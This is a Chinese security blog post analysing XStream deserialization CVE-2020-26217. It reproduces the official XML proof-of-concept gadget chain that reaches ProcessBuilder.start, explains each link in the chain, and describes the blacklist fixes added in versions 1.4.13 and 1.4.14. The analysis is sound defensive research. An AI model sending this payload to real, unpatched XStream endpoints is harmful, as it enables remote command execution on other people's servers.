XStream反序列化CVE-2020-26217漏洞分析

t016873a7a1a77c95e6

 

引言

近期,XStream发布了关于CVE-2020-26217的公告,通过该漏洞攻击者可发送恶意构造的xml,在受影响版本(<=1.4.13)的XStream上直接RC++E。

 

XStream反序列化原理

与传统的JAVA反序列化不同,XStream反序列化的触发不依靠readObject,而是使用Converter(转换器)中的unmarshal。而Converter根据源码的注释,其用途为对象与xml文本之间的相互转换。

t016d70a29c3a767189

下面用一个简单的例子来演示,首先我们定义一个User

public class User {
public StRing username;
}

然后使用XStream加载

XStream xStream = new XStream();
User user = (User)xStream.fromXML(new File("/Users/dinfinite/IdeaProjects/xstream/src/mAIn/resources/payloads/user.xml"));

由于User类并未在Converter的转换类型中,因此使用ReflectionConverter进行unmarshal,该转换器判断能否转换的逻辑如下,即类存在且可访问

t011952a933b75a3e37

调用unmarshal将xml还原为User对象,完成反序列化的过程

t0138cca60d7a3e081d

 

XStream历史漏洞

在XStream过往的漏洞中,利用的核心为DynamicProxy类和EventHandler类,当存在dynamic-proxy标签时,会使用DynamicProxyConverter进行unmarshal,该操作会构造一个由用户指定handler的对应代理对象。

t0160de92a200a2137a

而恰好EventHandlerinvoke函数支持执行任意方法(根据传入的参数)

t0198f65363a1ee182f

t0147cd3389065c6bba

因此XStream官方的修复方式为,实现了一个类为InternalBlackList(黑名单转换器),当属性值为java.beans.EventHandler时,抛出异常,因此基于该类型的poc均失效

t015c8e54cb78830f15

 

漏洞复现

以下为官方公告中给出的POC

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumeRATor'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>open</string>
<string>./</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

通过XStream加载上述XML,成功弹出计算器

t0117e5f715308f03ac

 

漏洞分析

由于该漏洞触发链较长,为了便于理解,将整体的利用链分成四部分。

t01873f8ed3a4980bb0

入口

由于DynamicProxy类和EventHandler类的组合拳失效,因此这次漏洞并没有利用动态代理转换器,漏洞的触发点在MapConverter中,其unmarshal函数如下

t015ddedc644731da56

可以看到,传入的XML文本(转换为reader),被传递到了填充map的函数中,进一步跟进,流程走到了putCurrentEntryIntoMap函数中,该函数的作用为将对应的key和value(从XML中解析,对应POC中的<jdk.nashorn.internal.objects.NativeString><string>)放到HashMap中,由此触发HashMap的put方法,进入纽带1阶段

纽带1

由于在Java中HashMap需要计算HashCode,因此作为key的jdk.nashorn.internal.objects.NativeString,会调用其hashCode方法

t01ecdddd49dd928bc6

纽带2

由于jdk.nashorn.internal.objects.NativeStringhashCode会先调用getStringValue(),它调用当前类的属性valuetoString方法,由于valuecom.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data类,它的toString会触发自身的get函数

t018c4c70b5ac73a28c

get函数调用readForm读取自身的DataSource中的InputStream

终点方法

在读取的过程中,会遍历InputStream中的子元素

t017ccef4f515a80b22

javax.swing.MultiUIDefaultsEnumerator类的nextElement,会调用自身迭代器的next函数,其next函数中额外调用了advance函数

t01d3043a84550fd40c

advance函数额外调用了filter属性的filter方法

t01d7a321e67095fb09

javax.imageio.ContainsFilter类的filter方法如下

t01aa80d5baa72d94ac

可以看到,只要method以及elt可控,即可执行任意类任意方法,实现RCE。而methodelt在先前的ReflectionConverter中,已经填充完毕,对应POC中的<filter><iter>元素。

 

漏洞修复

其实官方早在1.4.7的时候,就加入了针对XStream自身的安全框架

t0100b0e93bcd480722

然而框架本身并未提供任何默认策略,需要用户手动调用addPermission进行配置,因此,在1.4.13之前的版本,其防御手段都是依靠修改Converter,包括InternalBlackListReflectionConverter,在转换时将其拦截。在1.4.13中,默认加入了EventHandler的黑名单

t015572560c56b8d479

1.4.14中,加入了java.lang.ProcessBuilderjavax.imageio.ImageIO$ContainsFilter的黑名单

t0158b435028b5d1795

当我们在1.4.14中再次执行POC时,会发现抛出了ForbiddenClassException异常。

t013563435d2ecf54c2

跟踪其调用栈,发现SecurityMapper会存取到Converter当中,当Converter试图获取标签的类时,会先遍历自身的Mapper(其中包括SecurityMapper)

t013b7da640cbfd032a

此时假设匹配到黑名单类,直接抛出异常。

t015027de1271ab12b2

t0104978799565aa1d1

 

参考链接

Java XStream反序列化漏洞

本文由D_infinite原创发布转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/222830

标签